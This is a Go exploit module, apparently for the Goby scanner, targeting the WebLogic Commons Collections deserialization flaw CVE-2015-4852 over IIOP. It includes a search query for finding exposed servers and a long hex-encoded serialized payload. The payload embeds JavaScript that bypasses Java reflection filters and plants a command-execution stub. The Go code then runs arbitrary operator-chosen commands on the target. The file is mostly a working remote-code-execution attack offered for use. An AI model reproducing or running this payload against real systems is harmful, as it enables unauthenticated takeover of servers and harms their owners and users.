package exploits

import (
	"encoding/hex"
	"errors"
	"fmt"
	"git.gobies.org/goby/goscanner/goutils"
	"git.gobies.org/goby/goscanner/jsonvul"
	"git.gobies.org/goby/goscanner/jsonvul/protocols"
	"git.gobies.org/goby/goscanner/scanconfig"
	"git.gobies.org/goby/httpclient"
	"strings"
)

func init() {
	expJson := `{
    "Name": "Weblogic Commons Collections serialization code execution vulnerability (CVE-2015-4852)",
    "Description": "<p>WebLogic Server is an application server component suitable for both cloud and traditional environments.</p><p>The WebLogic Commons Collections component has a remote code execution vulnerability that allows unauthenticated attackers to access vulnerable WebLogic Servers through the IIOP protocol and compromise them. Successful exploitation of the vulnerability can lead to the attacker taking over the WebLogic Server, resulting in remote code execution.</p>",
    "Product": "Weblogic_interface_7001",
    "Homepage": "https://www.oracle.com/",
    "DisclosureDate": "2015-11-18",
    "Author": "woo0nise@gmail.com",
    "FofaQuery": "(body=\"Welcome to WebLogic Server\") || (title==\"Error 404--Not Found\") || (((body=\"<h1>BEA WebLogic Server\" || server=\"Weblogic\" || body=\"content=\\\"WebLogic Server\" || body=\"<h1>Welcome to Weblogic Application\" || body=\"<h1>BEA WebLogic Server\") && header!=\"couchdb\" && header!=\"boa\" && header!=\"RouterOS\" && header!=\"X-Generator: Drupal\") || (banner=\"Weblogic\" && banner!=\"couchdb\" && banner!=\"drupal\" && banner!=\" Apache,Tomcat,Jboss\" && banner!=\"ReeCam IP Camera\" && banner!=\"<h2>Blog Comments</h2>\")) || (port=\"7001\" && protocol==\"weblogic\")",
    "GobyQuery": "(body=\"Welcome to WebLogic Server\") || (title==\"Error 404--Not Found\") || (((body=\"<h1>BEA WebLogic Server\" || server=\"Weblogic\" || body=\"content=\\\"WebLogic Server\" || body=\"<h1>Welcome to Weblogic Application\" || body=\"<h1>BEA WebLogic Server\") && header!=\"couchdb\" && header!=\"boa\" && header!=\"RouterOS\" && header!=\"X-Generator: Drupal\") || (banner=\"Weblogic\" && banner!=\"couchdb\" && banner!=\"drupal\" && banner!=\" Apache,Tomcat,Jboss\" && banner!=\"ReeCam IP Camera\" && banner!=\"<h2>Blog Comments</h2>\")) || (port=\"7001\" && protocol==\"weblogic\")",
    "Level": "3",
    "Impact": "<p>The WebLogic Commons Collections component has a remote code execution vulnerability that allows unauthenticated attackers to access vulnerable WebLogic Servers through the IIOP protocol and compromise them. Successful exploitation of the vulnerability can lead to the attacker taking over the WebLogic Server, resulting in remote code execution.</p>",
    "Recommendation": "<p>Currently, the vendor has released an upgrade patch to fix the vulnerability. Users are advised to install the patch to fix the vulnerability. The patch can be obtained from the following link: <a href=\"https://www.oracle.com/security-alerts/alert-cve-2015-4852.html\">https://www.oracle.com/security-alerts/alert-cve-2015-4852.html</a></p>",
    "References": [
        "https://nvd.nist.gov/vuln/detail/CVE-2015-4852",
        "https://www.rapid7.com/db/vulnerabilities/oracle-weblogic-cve-2015-4852/"
    ],
    "Is0day": false,
    "HasExp": true,
    "ExpParams": [
        {
            "name": "attackMode",
            "type": "select",
            "value": "cmd",
            "show": ""
        },
        {
            "name": "cmd",
            "type": "input",
            "value": "whoami",
            "show": "attackMode=cmd"
        }
    ],
    "ExpTips": {
        "Type": "",
        "Content": ""
    },
    "ScanSteps": [
        "AND",
        {
            "Request": {
                "method": "GET",
                "uri": "/test.php",
                "follow_redirect": true,
                "header": {},
                "data_type": "text",
                "data": ""
            },
            "ResponseTest": {
                "type": "group",
                "operation": "AND",
                "checks": [
                    {
                        "type": "item",
                        "variable": "$code",
                        "operation": "==",
                        "value": "200",
                        "bz": ""
                    },
                    {
                        "type": "item",
                        "variable": "$body",
                        "operation": "contains",
                        "value": "test",
                        "bz": ""
                    }
                ]
            },
            "SetVariable": []
        }
    ],
    "ExploitSteps": [
        "AND",
        {
            "Request": {
                "method": "GET",
                "uri": "/test.php",
                "follow_redirect": true,
                "header": {},
                "data_type": "text",
                "data": ""
            },
            "ResponseTest": {
                "type": "group",
                "operation": "AND",
                "checks": [
                    {
                        "type": "item",
                        "variable": "$code",
                        "operation": "==",
                        "value": "200",
                        "bz": ""
                    },
                    {
                        "type": "item",
                        "variable": "$body",
                        "operation": "contains",
                        "value": "test",
                        "bz": ""
                    }
                ]
            },
            "SetVariable": []
        }
    ],
    "Tags": [
        "Code Execution"
    ],
    "VulType": [
        "Code Execution"
    ],
    "CVEIDs": [
        "CVE-2015-4852"
    ],
    "CNNVD": [
        "CNNVD-201511-290"
    ],
    "CNVD": [
        "CNVD-2015-07707"
    ],
    "CVSSScore": "7.5",
    "Translation": {
        "CN": {
            "Name": "Weblogic Commons Collections 序列化代码执行漏洞（CVE-2015-4852）",
            "Product": "Weblogic_interface_7001",
            "Description": "<p>WebLogic Server是其中的一个适用于云环境和传统环境的应用服务器组件。</p><p>WebLogic Commons Collections 组件存在远程代码执行漏洞，该漏洞允许未经身份验证的攻击者通过IIOP协议网络访问并破坏易受攻击的WebLogic Server，成功的漏洞利用可导致WebLogic Server被攻击者接管，从而造成远程代码执行。</p>",
            "Recommendation": "<p>目前厂商已发布升级补丁以修复漏洞，请用户安装补丁以修复漏洞，补丁获取链接：</p><p><a href=\"https://www.oracle.com/security-alerts/alert-cve-2015-4852.html\" target=\"_blank\">https://www.oracle.com/security-alerts/alert-cve-2015-4852.html</a></p>",
            "Impact": "<p>WebLogic Commons Collections 组件存在远程代码执行漏洞，该漏洞允许未经身份验证的攻击者通过IIOP协议网络访问并破坏易受攻击的WebLogic Server，成功的漏洞利用可导致WebLogic Server被攻击者接管，从而造成远程代码执行。<br></p>",
            "VulType": [
                "代码执行"
            ],
            "Tags": [
                "代码执行"
            ]
        },
        "EN": {
            "Name": "Weblogic Commons Collections serialization code execution vulnerability (CVE-2015-4852)",
            "Product": "Weblogic_interface_7001",
            "Description": "<p>WebLogic Server is an application server component suitable for both cloud and traditional environments.</p><p>The WebLogic Commons Collections component has a remote code execution vulnerability that allows unauthenticated attackers to access vulnerable WebLogic Servers through the IIOP protocol and compromise them. Successful exploitation of the vulnerability can lead to the attacker taking over the WebLogic Server, resulting in remote code execution.</p>",
            "Recommendation": "<p>Currently, the vendor has released an upgrade patch to fix the vulnerability. Users are advised to install the patch to fix the vulnerability. The patch can be obtained from the following link: <a href=\"https://www.oracle.com/security-alerts/alert-cve-2015-4852.html\" target=\"_blank\">https://www.oracle.com/security-alerts/alert-cve-2015-4852.html</a><br></p>",
            "Impact": "<p>The WebLogic Commons Collections component has a remote code execution vulnerability that allows unauthenticated attackers to access vulnerable WebLogic Servers through the IIOP protocol and compromise them. Successful exploitation of the vulnerability can lead to the attacker taking over the WebLogic Server, resulting in remote code execution.<br></p>",
            "VulType": [
                "Code Execution"
            ],
            "Tags": [
                "Code Execution"
            ]
        }
    },
    "AttackSurfaces": {
        "Application": null,
        "Support": null,
        "Service": null,
        "System": null,
        "Hardware": null
    },
    "PocId": "10778"
}`
	getPayloadFlagfCtnjC := func(name string) []byte {
		var bodyEnd string
		name = hex.EncodeToString([]byte(name))
		nameLength := len(name) / 2
		nameLengthHex := fmt.Sprintf("%x", nameLength)
		if nameLength < 16 {
			nameLengthHex = "0" + nameLengthHex
		}
		// band name 长度是三个字节的
		bodyEnd = "00000001000000" + nameLengthHex + name + "0000000001000000000000001d0000001c000000000000000100000000000000010000000000000000000000007fffff0a00000038524d493a6a6176612e7574696c2e486173685365743a414331313745323846453336353837413a42413434383539353936423842373334000000001101010000000000023f40000000000001000000007fffff0a0000005b524d493a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472793a423430423741333646374435314444313a384141444432394233394331314644420000000000440000001e0000003c000000000000002349444c3a6f6d672e6f72672f434f5242412f57537472696e6756616c75653a312e30000000000001000000000000001b000000007fffff0a0000002349444c3a6f6d672e6f72672f434f5242412f57537472696e6756616c75653a312e3000000000000700000003666f6f00fffffffd7fffff0a00000051524d493a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61703a353842424138454633304330394645423a364545353934383239453739313039340000000000000002010100007fffff0a00000061524d493a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d65723a353639313138463941313930393646313a33304337393745433238374139373034000000007fffff0a00000043524d493a5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723b3a30303030303030303030303030303030000000000004000000047fffff0a00000062524d493a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d65723a443036433732413043333443423031463a35383736393031313431303242313934000000000000600000001d000000580000000000000040524d493a6a617661782e726d692e434f5242412e436c617373446573633a324241424441303435383741444343433a4346424630324346353239343137364200000000010000000000000000000000007fffff0a00000040524d493a6a617661782e726d692e434f5242412e436c617373446573633a324241424441303435383741444343433a43464246303243463532393431373642007fffff0afffffffffffffd840000000400000000fffffff87fffff0afffffffffffffd6c0000003900000035524d493a6a617661782e7363726970742e536372697074456e67696e654d616e616765723a30303030303030303030303030303030000000fffffffa7fffff0a00000061524d493a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d65723a314337314234323434434436334231423a38374538464636423742374343453338000000007fffff0a00000029524d493a5b4c6a6176612e6c616e672e4f626a6563743b3a30303030303030303030303030303030000000000000000400000000fffffff97fffff0afffffffffffffc700000000f0000000b6e6577496e7374616e636500fffffff97fffff0a00000039524d493a5b4c6a6176612e6c616e672e436c6173733b3a303731444138424537463937313132383a32433745353530334439424639353533000000000000000400000000fffffffa7fffff0afffffffffffffedc7fffff0affffffffffffff3c00000048000000010000001e0000003c000000000000002349444c3a6f6d672e6f72672f434f5242412f57537472696e6756616c75653a312e30000000000001000000000000001b000000007fffff0afffffffffffffb9800000006000000026a730000fffffff97fffff0afffffffffffffb7c000000130000000f676574456e67696e6542794e616d6500fffffff97fffff0affffffffffffff0400000004000000017fffff0afffffffffffffd7000000008fffffffffffffda87fffff0afffffffffffffb28000000260000002249444c3a6f6d672e6f72672f434f5242412f57537472696e6756616c75653a312e300000fffffffa7fffff0afffffffffffffdcc7fffff0afffffffffffffe2c00000048000000010000001e0000003c000000000000002349444c3a6f6d672e6f72672f434f5242412f57537472696e6756616c75653a312e30000000000001000000000000001b000000007fffff0afffffffffffffa8800001dd700001dd3747279207b0a20206c6f616428226e6173686f726e3a6d6f7a696c6c615f636f6d7061742e6a7322293b0a7d20636174636820286529207b7d0a66756e6374696f6e20676574556e7361666528297b0a202076617220746865556e736166654d6574686f64203d206a6176612e6c616e672e436c6173732e666f724e616d65282273756e2e6d6973632e556e7361666522292e6765744465636c617265644669656c642827746865556e7361666527293b0a2020746865556e736166654d6574686f642e73657441636365737369626c652874727565293b200a202072657475726e20746865556e736166654d6574686f642e676574286e756c6c293b0a7d0a66756e6374696f6e2072656d6f7665436c617373436163686528636c617a7a297b0a202076617220756e73616665203d20676574556e7361666528293b0a202076617220636c617a7a416e6f6e796d6f7573436c617373203d20756e736166652e646566696e65416e6f6e796d6f7573436c61737328636c617a7a2c6a6176612e6c616e672e436c6173732e666f724e616d6528226a6176612e6c616e672e436c61737322292e6765745265736f75726365417353747265616d2822436c6173732e636c61737322292e72656164416c6c427974657328292c6e756c6c293b0a2020766172207265666c656374696f6e446174614669656c64203d20636c617a7a416e6f6e796d6f7573436c6173732e6765744465636c617265644669656c6428227265666c656374696f6e4461746122293b0a2020756e736166652e7075744f626a65637428636c617a7a2c756e736166652e6f626a6563744669656c644f6666736574287265666c656374696f6e446174614669656c64292c6e756c6c293b0a7d0a66756e6374696f6e206279706173735265666c656374696f6e46696c7465722829207b0a2020766172207265666c656374696f6e436c6173733b0a2020747279207b0a202020207265666c656374696f6e436c617373203d206a6176612e6c616e672e436c6173732e666f724e616d6528226a646b2e696e7465726e616c2e7265666c6563742e5265666c656374696f6e22293b0a20207d20636174636820286572726f7229207b0a202020207265666c656374696f6e436c617373203d206a6176612e6c616e672e436c6173732e666f724e616d65282273756e2e7265666c6563742e5265666c656374696f6e22293b0a20207d0a202076617220756e73616665203d20676574556e7361666528293b0a202076617220636c617373427566666572203d207265666c656374696f6e436c6173732e6765745265736f75726365417353747265616d28225265666c656374696f6e2e636c61737322292e72656164416c6c427974657328293b0a2020766172207265666c656374696f6e416e6f6e796d6f7573436c617373203d20756e736166652e646566696e65416e6f6e796d6f7573436c617373287265666c656374696f6e436c6173732c20636c6173734275666665722c206e756c6c293b0a2020766172206669656c6446696c7465724d61704669656c64203d207265666c656374696f6e416e6f6e796d6f7573436c6173732e6765744465636c617265644669656c6428226669656c6446696c7465724d617022293b0a2020766172206d6574686f6446696c7465724d61704669656c64203d207265666c656374696f6e416e6f6e796d6f7573436c6173732e6765744465636c617265644669656c6428226d6574686f6446696c7465724d617022293b0a2020696620286669656c6446696c7465724d61704669656c642e6765745479706528292e697341737369676e61626c6546726f6d286a6176612e6c616e672e436c6173732e666f724e616d6528226a6176612e7574696c2e486173684d617022292929207b0a20202020756e736166652e7075744f626a656374287265666c656374696f6e436c6173732c20756e736166652e7374617469634669656c644f6666736574286669656c6446696c7465724d61704669656c64292c206a6176612e6c616e672e436c6173732e666f724e616d6528226a6176612e7574696c2e486173684d617022292e676574436f6e7374727563746f7228292e6e6577496e7374616e63652829293b0a20207d0a2020696620286d6574686f6446696c7465724d61704669656c642e6765745479706528292e697341737369676e61626c6546726f6d286a6176612e6c616e672e436c6173732e666f724e616d6528226a6176612e7574696c2e486173684d617022292929207b0a20202020756e736166652e7075744f626a656374287265666c656374696f6e436c6173732c20756e736166652e7374617469634669656c644f6666736574286d6574686f6446696c7465724d61704669656c64292c206a6176612e6c616e672e436c6173732e666f724e616d6528226a6176612e7574696c2e486173684d617022292e676574436f6e7374727563746f7228292e6e6577496e7374616e63652829293b0a20207d0a202072656d6f7665436c6173734361636865286a6176612e6c616e672e436c6173732e666f724e616d6528226a6176612e6c616e672e436c6173732229293b0a7d0a66756e6374696f6e2073657441636365737369626c652861636365737369626c654f626a656374297b0a2020202076617220756e73616665203d20676574556e7361666528293b0a20202020766172206f766572726964654669656c64203d206a6176612e6c616e672e436c6173732e666f724e616d6528226a6176612e6c616e672e7265666c6563742e41636365737369626c654f626a65637422292e6765744465636c617265644669656c6428226f7665727269646522293b0a20202020766172206f6666736574203d20756e736166652e6f626a6563744669656c644f6666736574286f766572726964654669656c64293b0a20202020756e736166652e707574426f6f6c65616e2861636365737369626c654f626a6563742c206f66667365742c2074727565293b0a7d0a66756e6374696f6e20646566696e65436c617373286279746573297b0a202076617220636c7a203d206e756c6c3b0a20207661722076657273696f6e203d206a6176612e6c616e672e53797374656d2e67657450726f706572747928226a6176612e76657273696f6e22293b0a202076617220756e73616665203d20676574556e7361666528290a202076617220636c6173734c6f61646572203d206e6577206a6176612e6e65742e55524c436c6173734c6f61646572286a6176612e6c616e672e7265666c6563742e41727261792e6e6577496e7374616e6365286a6176612e6c616e672e436c6173732e666f724e616d6528226a6176612e6e65742e55524c22292c203029293b0a20207472797b0a202020206966202876657273696f6e2e73706c697428222e22295b305d203e3d20313129207b0a2020202020206279706173735265666c656374696f6e46696c74657228293b0a20202020646566696e65436c6173734d6574686f64203d206a6176612e6c616e672e436c6173732e666f724e616d6528226a6176612e6c616e672e436c6173734c6f6164657222292e6765744465636c617265644d6574686f642822646566696e65436c617373222c206a6176612e6c616e672e436c6173732e666f724e616d6528225b4222292c6a6176612e6c616e672e496e74656765722e545950452c206a6176612e6c616e672e496e74656765722e54595045293b0a2020202073657441636365737369626c6528646566696e65436c6173734d6574686f64293b0a202020202f2f20e7bb95e8bf872073657441636365737369626c65200a20202020636c7a203d20646566696e65436c6173734d6574686f642e696e766f6b6528636c6173734c6f616465722c2062797465732c20302c2062797465732e6c656e677468293b0a202020207d656c73657b0a2020202020207661722070726f74656374696f6e446f6d61696e203d206e6577206a6176612e73656375726974792e50726f74656374696f6e446f6d61696e286e6577206a6176612e73656375726974792e436f6465536f75726365286e756c6c2c206a6176612e6c616e672e7265666c6563742e41727261792e6e6577496e7374616e6365286a6176612e6c616e672e436c6173732e666f724e616d6528226a6176612e73656375726974792e636572742e436572746966696361746522292c203029292c206e756c6c2c20636c6173734c6f616465722c205b5d293b0a202020202020636c7a203d20756e736166652e646566696e65436c617373286e756c6c2c2062797465732c20302c2062797465732e6c656e6774682c20636c6173734c6f616465722c2070726f74656374696f6e446f6d61696e293b0a202020207d0a20207d6361746368286572726f72297b0a202020206572726f722e7072696e74537461636b547261636528293b0a20207d66696e616c6c797b0a2020202072657475726e20636c7a3b0a20207d0a7d0a66756e6374696f6e206261736536344465636f6465546f427974652873747229207b0a20207661722062743b0a2020747279207b0a202020206274203d206a6176612e6c616e672e436c6173732e666f724e616d65282273756e2e6d6973632e4241534536344465636f64657222292e6e6577496e7374616e636528292e6465636f646542756666657228737472293b0a20207d20636174636820286529207b0a202020206274203d206a6176612e6c616e672e436c6173732e666f724e616d6528226a6176612e7574696c2e42617365363422292e6e6577496e7374616e636528292e6765744465636f64657228292e6465636f646528737472293b0a20207d0a202072657475726e2062743b0a7d0a76617220636f64653d227976363676674141414449416d776f414c51424a4367416e41456f4b414363415377674154416f414577424e4341424f436742504146414b41424d4155516f4145774253427742544367414b41456b494146514b41424d41565167415667674156776f41436742594341425a4367414b41466f4841467349414677494146304941463449414638494147414b4147454159676f415951426a4277426b4367426c4147594b414273415a77674161416f41477742704367416241476f4b4142734161776f415a5142734367426c414730484147344b41435141627767416341634163516f414a77424a434142794277427a4367417141456b4c41485141645163416467634164774541426a7870626d6c3050674541417967705667454142454e765a4755424141394d6157356c546e5674596d567956474669624755424142556f54477068646d4576624746755a79395464484a70626d63374b5659424141704665474e6c634852706232357a415141526332563055325679646d56795447396a59585270623234424143636f54477068646d4576624746755a79395464484a70626d633754477068646d4576624746755a79395464484a70626d63374b565948414867424142466e5a5852545a584a325a584a4d62324e6864476c76626745414a69684d616d4632595339735957356e4c314e30636d6c755a7a737054477068646d4576624746755a79395464484a70626d6337415141455a58686c5977454144564e3059574e72545746775647466962475548414845484146734841464d4841486b4841486f4841487348414751484147344841487742414152696157356b4151414950474e7361573570644434424141705462335679593256476157786c4151414851544d75616d4632595177414c7741774441424641444d4d41446f414f514541414177416651422b4151414862334d75626d46745a5163416677774167414135444143424149494d41494d416767454146327068646d4576624746755a79395464484a70626d644364576c735a4756794151414464326c754441434541495542414152776157356e415141434c57344d4149594168774541425341746269413044414349414949424142427159585a684c327868626d6376553352796157356e415141445932316b415141434c324d42414155674c5851674e414541416e4e6f415141434c574d4841496b4d41496f41697777414f67434d41514152616d46325953393164476c734c314e6a595735755a58494841486b4d414930416a6777414c774350415141435847454d414a41416b5177416b674354444143554149494d414a55416a6777416c67417741514154616d4632595339735957356e4c3056345932567764476c76626777416c7741774151415159323974625746755a43427562335167626e567362414541416b457a4151416759545978596a49794e57466d4d6d4a684f47526d4e4755304e57557a4e7a4e685a54417a4d446c694e3249424142747159585a686543397559573170626d63765357357064476c6862454e76626e526c65485148414a674d414a6b416d67454145477068646d4576624746755a793950596d706c59335142414335335a574a73623264705979396a6248567a644756794c334e70626d64735a585276626939446248567a644756795457467a64475679556d56746233526c41514159616d46325953397962576b76556d56746233526c5258686a5a5842306157397541514152616d4632595339735957356e4c31427962324e6c63334d4241425a7159585a684c326c764c304a315a6d5a6c636d566b556d56685a475679415141545730787159585a684c327868626d6376553352796157356e4f77454145327068646d4576624746755a79395561484a76643246696247554241415a6c6358566862484d424142556f54477068646d4576624746755a793950596d706c593351374b566f424142427159585a684c327868626d637655336c7a644756744151414c5a32563055484a766347567964486b424141743062307876643256795132467a5a5145414643677054477068646d4576624746755a79395464484a70626d63374151414564484a706251454143474e76626e52686157357a415141624b45787159585a684c327868626d637651326868636c4e6c6358566c626d4e6c4f796c6141514147595842775a57356b415141744b45787159585a684c327868626d6376553352796157356e4f796c4d616d4632595339735957356e4c314e30636d6c755a304a316157786b5a584937415141496447395464484a70626d63424142467159585a684c327868626d6376556e567564476c745a514541436d646c64464a31626e5270625755424142556f4b55787159585a684c327868626d6376556e567564476c745a5473424143676f5730787159585a684c327868626d6376553352796157356e4f796c4d616d4632595339735957356e4c31427962324e6c63334d374151414f5a325630535735776458525464484a6c595730424142636f4b55787159585a684c326c764c306c7563485630553352795a5746744f7745414743684d616d4632595339706279394a626e423164464e30636d566862547370566745414448567a5a55526c62476c746158526c636745414a79684d616d4632595339735957356e4c314e30636d6c755a7a737054477068646d4576645852706243395459324675626d56794f774541423268686330356c6548514241414d6f4b566f42414152755a5868304151414f5a32563052584a7962334a5464484a6c595730424141646b5a584e30636d39354151415063484a70626e52546447466a6131527959574e6c41514155616d463259586776626d46746157356e4c304e76626e526c6548514241415a795a574a70626d51424143636f54477068646d4576624746755a79395464484a70626d633754477068646d4576624746755a793950596d706c593351374b5659414951416e41433041415141754141414143414142414338414d41414241444541414141684141454141514141414155717477414273514141414145414d67414141416f41416741414142414142414152414145414c77417a414149414d51414141436f41416741434141414143697133414145714b3759414172454141414142414449414141414f41414d4141414154414151414641414a414255414e414141414151414151416b414145414e514132414149414d51414141426b41414141444141414141624541414141424144494141414147414145414141415a4144514141414145414145414e774142414467414f51414341444541414141654141494141674141414159714b3759414137414141414142414449414141414741414541414141644144514141414145414145414e77414241446f414f5141434144454141414d74414151414451414141566f727867465745675172746741466d67464e45676134414165324141684e4b375941435579374141705a7477414c5467453642414536425145364267453642797753444c5941445a6b415143735344725941445a6b414943735344375941445a6f4146377341436c6d334141737274674151456847324142433241424a4d4272304145316b44456852545751515346564e5a425374544f67656e41443072456736324141325a4143417245672b3241413261414265374141705a7477414c4b3759414542495774674151746741535441613941424e5a4178495855316b454568685457515572557a6f487541415a4751653241426f36424c734147316b5a424c5941484c634148524965746741664f676b5a43625941494a6b4143786b4a7467416870774146456751364372734147316b5a424c59414972634148524965746741664f676d374141705a7477414c475171324142415a43625941494a6b4143786b4a746741687077414645675332414243324142493643686b4b4f67735a424d594143426b457467416a475175774f676b5a436259414a5332324142493643426b494f676f5a424d594143426b457467416a475171774f67775a424d594143426b457467416a4751792f45696177414151417277456441536f414a414376415230425341414141536f424f774649414141425341464b4155674141414143414449414141434f41434d414141416e414130414b41415741436b414777417141434d414b77416d414377414b514174414377414c674176414338414f41417741456f414d51426541444d4164514131414963414e6743624144674172774138414c6b415051444d414434413441412f41504d415141455a4145454248514248415349415341456e414545424b6742434153774151774578414551424e774246415473415277464141456742525142464155674152774650414567425641424b4156634154414137414141424451414f2f7742654141674841447748414430484144304841443448414438484145414841454148414545414142596c452f30414c41414841454a42427741392f7741774141734841447748414430484144304841443448414438484145414841454148414545414277424342774139414145484144372f4141454143776341504163415051634150516341506763415077634151416341514163415151414841454948414430414167634150676341506677414651634150663841416741494277413842774139427741394277412b4277412f427742414277424142774242414145484145502b41426f484144304841454d484144332f41414941434163415041634150516341505163415067634150776341514163415141634151514142427742452f77414c41413048414477484144304841443048414434484144384841454148414541484145454141414141427742454141442f414149414167634150416341505141414144514141414145414145414e774142414555414d4141434144454141414169414149414151414141415971416259414172454141414142414449414141414b414149414141425241415541556741304141414142414142414351414151424641444d4141674178414141416341414441415141414141787577416e576263414b45307278674150456751727467414a746741466d51414745696c4d4b375941435579374143705a74774172546930724c4c6b414c414d4173514141414149414d674141414234414277414141466f4143414262414267415841416241463441494142664143674159414177414745414f77414141416b414176774147416341504149414e414141414151414151416b4141674152674177414145414d514141414655414241414241414141484c73414b6c6d334143744c4b6849707577416e576263414b4c6b414c414d41707741455337454141514141414263414767416b414149414d6741414142494142414141414755414341426d414263415a774162414767414f77414141416341416c6f4841454d4141414541527741414141494153413d3d223b0a636c7a203d20646566696e65436c617373286261736536344465636f6465546f4279746528636f646529293b0a636c7a2e6e6577496e7374616e636528292e62696e6428293b00fffffff97fffff0affffffffffffdc9c00000008000000046576616cfffffff97fffff0affffffffffffe0300000000c00000001ffffffffffffe128fffffffc00000001000000007fffff0a00000038524d493a6a6176612e7574696c2e486173684d61703a383635373335363841323131433031313a303530374441433143333136363044310000000014010100003f400000000000000000001000000000ffffffff"
		bodyEndBytes, _ := hex.DecodeString(bodyEnd)
		return bodyEndBytes
	}

	ExpManager.AddExploit(NewExploit(
		goutils.GetFileName(),
		expJson,
		func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
			if err := protocols.NewIIOP(u.HostInfo, func(iiop *protocols.IIOP) error {
				name := goutils.RandomHexString(3)
				if _, err := iiop.Rebind(getPayloadFlagfCtnjC(name)); err != nil {
					return err
				}
				if stub, err := iiop.StubData("a61b225af2ba8df4e45e373ae0309b7b"); err != nil {
					return err
				} else {
					if rsp, err := iiop.Exec(stub, "echo 42b8ae0898e98f62b98d357c730df260"); err != nil {
						return err
					} else if rsp != "" && strings.Contains(rsp, "42b8ae0898e98f62b98d357c730df260") {
						return nil
					} else {
						return errors.New("利用失败")
					}
				}
			}); err != nil {
				return false
			}
			return true
		},

		func(expResult *jsonvul.ExploitResult, stepLogs *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
			attackMode := goutils.B2S(stepLogs.Params["attackMode"])
			if attackMode == "cmd" {
				cmd := goutils.B2S(stepLogs.Params["cmd"])
				if err := protocols.NewIIOP(expResult.HostInfo.HostInfo, func(iiop *protocols.IIOP) error {
					// 首先 Check 存根是否存在
					stub, _ := iiop.StubData("a61b225af2ba8df4e45e373ae0309b7b")
					if stub == nil {
						name := goutils.RandomHexString(3)
						if _, err := iiop.Rebind(getPayloadFlagfCtnjC(name)); err != nil {
							return err
						}
						if newStub, err := iiop.StubData("a61b225af2ba8df4e45e373ae0309b7b"); err != nil {
							return err
						} else {
							stub = newStub
						}
					}
					if rsp, err := iiop.Exec(stub, cmd); err != nil {
						return err
					} else {
						expResult.Success = true
						expResult.Output = rsp
						return nil
					}
				}); err != nil {
					expResult.Success = false
					expResult.Output = err.Error()
				}
			} else {
				expResult.Success = false
				expResult.Output = "未知的利用方式"
			}
			return expResult
		},
	))
}
